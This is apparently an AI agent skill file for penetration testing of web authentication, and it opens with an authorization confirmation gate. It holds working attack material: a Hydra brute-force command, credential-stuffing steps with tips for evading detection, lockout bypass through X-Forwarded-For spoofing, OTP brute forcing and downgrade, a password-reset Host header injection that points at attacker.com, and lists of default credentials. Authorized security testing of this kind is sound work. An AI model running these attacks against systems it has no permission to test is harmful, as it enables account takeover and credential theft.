This source did not publish a separate summary. Review SKILL.md before using the skill.
SKILL.md
⚠️ AUTHORIZED USE ONLY
This skill is for educational purposes or authorized security assessments only.
You must have explicit, written permission from the system owner before using this tool.
Misuse of this tool is illegal and strictly prohibited.
Mandatory confirmation gate
Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:
Ask the user to state the exact target URL, IP, account, or resource.
Ask the user to confirm written authorization and the permitted scope.
Show the exact command(s) and explain their expected effect.
Wait for explicit confirmation in the current conversation.
Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.
Broken Authentication Testing
Purpose
Identify and exploit authentication and session management vulnerabilities in web applications. Broken authentication consistently ranks in the OWASP Top 10 and can lead to account takeover, identity theft, and unauthorized access to sensitive systems. This skill covers testing methodologies for password policies, session handling, multi-factor authentication, and credential management.
Prerequisites
Required Knowledge
HTTP protocol and session mechanisms
Authentication types (SFA, 2FA, MFA)
Cookie and token handling
Common authentication frameworks
Required Tools
Burp Suite Professional or Community
Hydra or similar brute-force tools
Custom wordlists for credential testing
Browser developer tools
Required Access
Target application URL
Test account credentials
Written authorization for testing
Outputs and Deliverables
Authentication Assessment Report - Document all identified vulnerabilities
Credential Testing Results - Brute-force and dictionary attack outcomes
Session Security Analysis - Token randomness and timeout evaluation
POST /login HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
username=test&password=test123
Phase 2: Password Policy Testing
Evaluate password requirements and enforcement:
# Test minimum length (a, ab, abcdefgh)
# Test complexity (password, password1, Password1!)
# Test common weak passwords (123456, password, qwerty, admin)
# Test username as password (admin/admin, test/test)
Document policy gaps: Minimum length <8, no complexity, common passwords allowed, username as password.
Phase 3: Credential Enumeration
Test for username enumeration vulnerabilities:
# Compare responses for valid vs invalid usernames
# Invalid: "Invalid username" vs Valid: "Invalid password"
# Check timing differences, response codes, registration messages
Password reset
"Email sent if account exists" (secure)
"No account with that email" (leaks info)
### Phase 4: Brute Force Testing
Test account lockout and rate limiting:
```bash
# Using Hydra for form-based auth
hydra -l admin -P /usr/share/wordlists/rockyou.txt \
target.com http-post-form \
"/login:username=^USER^&password=^PASS^:Invalid credentials"
# Using Burp Intruder
1. Capture login request
2. Send to Intruder
3. Set payload positions on password field
4. Load wordlist
5. Start attack
6. Analyze response lengths/codes
Check for protections:
# Account lockout
- After how many attempts?
- Duration of lockout?
- Lockout notification?
# Rate limiting
- Requests per minute limit?
- IP-based or account-based?
- Bypass via headers (X-Forwarded-For)?
# CAPTCHA
- After failed attempts?
- Easily bypassable?
Phase 5: Credential Stuffing
Test with known breached credentials:
# Credential stuffing differs from brute force
# Uses known email:password pairs from breaches
# Using Burp Intruder with Pitchfork attack
1. Set username and password as positions
2. Load email list as payload 1
3. Load password list as payload 2 (matched pairs)
4. Analyze for successful logins
# Detection evasion
- Slow request rate
- Rotate source IPs
- Randomize user agents
- Add delays between attempts
Phase 6: Session Management Testing
Analyze session token security:
# Capture session cookie
Cookie: SESSIONID=abc123def456
# Test token characteristics
1. Entropy - Is it random enough?
2. Length - Sufficient length (128+ bits)?
3. Predictability - Sequential patterns?
4. Secure flags - HttpOnly, Secure, SameSite?
Session token analysis:
#!/usr/bin/env python3
import requests
import hashlib
# Collect multiple session tokens
tokens = []
for i in range(100):
response = requests.get("https://target.com/login")
token = response.cookies.get("SESSIONID")
tokens.append(token)
# Analyze for patterns
# Check for sequential increments
# Calculate entropy
# Look for timestamp components
Phase 7: Session Fixation Testing
Test if session is regenerated after authentication:
# Step 1: Get session before login
GET /login HTTP/1.1
Response: Set-Cookie: SESSIONID=abc123
# Step 2: Login with same session
POST /login HTTP/1.1
Cookie: SESSIONID=abc123
username=valid&password=valid
# Step 3: Check if session changed
# VULNERABLE if SESSIONID remains abc123
# SECURE if new session assigned after login
Attack scenario:
# Attacker workflow:
1. Attacker visits site, gets session: SESSIONID=attacker_session
2. Attacker sends link to victim with fixed session:
https://target.com/login?SESSIONID=attacker_session
3. Victim logs in with attacker's session
4. Attacker now has authenticated session
Phase 8: Session Timeout Testing
Verify session expiration policies:
# Test idle timeout
1. Login and note session cookie
2. Wait without activity (15, 30, 60 minutes)
3. Attempt to use session
4. Check if session is still valid
# Test absolute timeout
1. Login and continuously use session
2. Check if forced logout after set period (8 hours, 24 hours)
# Test logout functionality
1. Login and note session
2. Click logout
3. Attempt to reuse old session cookie
4. Session should be invalidated server-side
Phase 9: Multi-Factor Authentication Testing
Assess MFA implementation security:
# OTP brute force
- 4-digit OTP = 10,000 combinations
- 6-digit OTP = 1,000,000 combinations
- Test rate limiting on OTP endpoint
# OTP bypass techniques
- Skip MFA step by direct URL access
- Modify response to indicate MFA passed
- Null/empty OTP submission
- Previous valid OTP reuse
# API Version Downgrade Attack (crAPI example)
# If /api/v3/check-otp has rate limiting, try older versions:
POST /api/v2/check-otp
{"otp": "1234"}
# Older API versions may lack security controls
# Using Burp for OTP testing
1. Capture OTP verification request
2. Send to Intruder
3. Set OTP field as payload position
4. Use numbers payload (0000-9999)
5. Check for successful bypass
Test MFA enrollment:
# Forced enrollment
- Can MFA be skipped during setup?
- Can backup codes be accessed without verification?
# Recovery process
- Can MFA be disabled via email alone?
- Social engineering potential?
Phase 10: Password Reset Testing
Analyze password reset security:
# Token security
1. Request password reset
2. Capture reset link
3. Analyze token:
- Length and randomness
- Expiration time
- Single-use enforcement
- Account binding
# Token manipulation
https://target.com/reset?token=abc123&user=victim
# Try changing user parameter while using valid token
# Host header injection
POST /forgot-password HTTP/1.1
Host: attacker.com
[email protected]
# Reset email may contain attacker's domain
Quick Reference
Common Vulnerability Types
Vulnerability
Risk
Test Method
Weak passwords
High
Policy testing, dictionary attack
No lockout
High
Brute force testing
Username enumeration
Medium
Differential response analysis
Session fixation
High
Pre/post-login session comparison
Weak session tokens
High
Entropy analysis
No session timeout
Medium
Long-duration session testing
Insecure password reset
High
Token analysis, workflow bypass
MFA bypass
Critical
Direct access, response manipulation
Credential Testing Payloads
# Default credentials
admin:admin
admin:password
admin:123456
root:root
test:test
user:user
# Common passwords
123456
password
12345678
qwerty
abc123
password1
admin123
# Breached credential databases
- Have I Been Pwned dataset
- SecLists passwords
- Custom targeted lists
Test accounts may behave differently than production
Some features may be disabled in test environments
Third-party authentication may be out of scope
Production testing requires extra caution
Examples
Example 1: Account Lockout Bypass
Scenario: Test if account lockout can be bypassed
# Step 1: Identify lockout threshold
# Try 5 wrong passwords for admin account
# Result: "Account locked for 30 minutes"
# Step 2: Test bypass via IP rotation
# Use X-Forwarded-For header
POST /login HTTP/1.1
X-Forwarded-For: 192.168.1.1
username=admin&password=attempt1
# Increment IP for each attempt
X-Forwarded-For: 192.168.1.2
# Continue until successful or confirmed blocked
# Step 3: Test bypass via case manipulation
username=Admin (vs admin)
username=ADMIN
# Some systems treat these as different accounts
# Step 1: Request reset for test account
POST /forgot-password
[email protected]
# Step 2: Capture reset link
https://target.com/reset?token=a1b2c3d4e5f6
# Step 3: Test token properties
# Reuse: Try using same token twice
# Expiration: Wait 24+ hours and retry
# Modification: Change characters in token
# Step 4: Test for user parameter manipulation
https://target.com/reset?token=a1b2c3d4e5f6&[email protected]
# Check if admin's password can be reset with test user's token
Troubleshooting
Issue
Solutions
Brute force too slow
Identify rate limit scope; IP rotation; add delays; use targeted wordlists
Session analysis inconclusive
Collect 1000+ tokens; use statistical tools; check for timestamps; compare accounts
MFA cannot be bypassed
Document as secure; test backup/recovery mechanisms; check MFA fatigue; verify enrollment
Account lockout prevents testing
Request multiple test accounts; test threshold first; use slower timing
When to Use
This skill is applicable to execute the workflow or actions described in the overview.
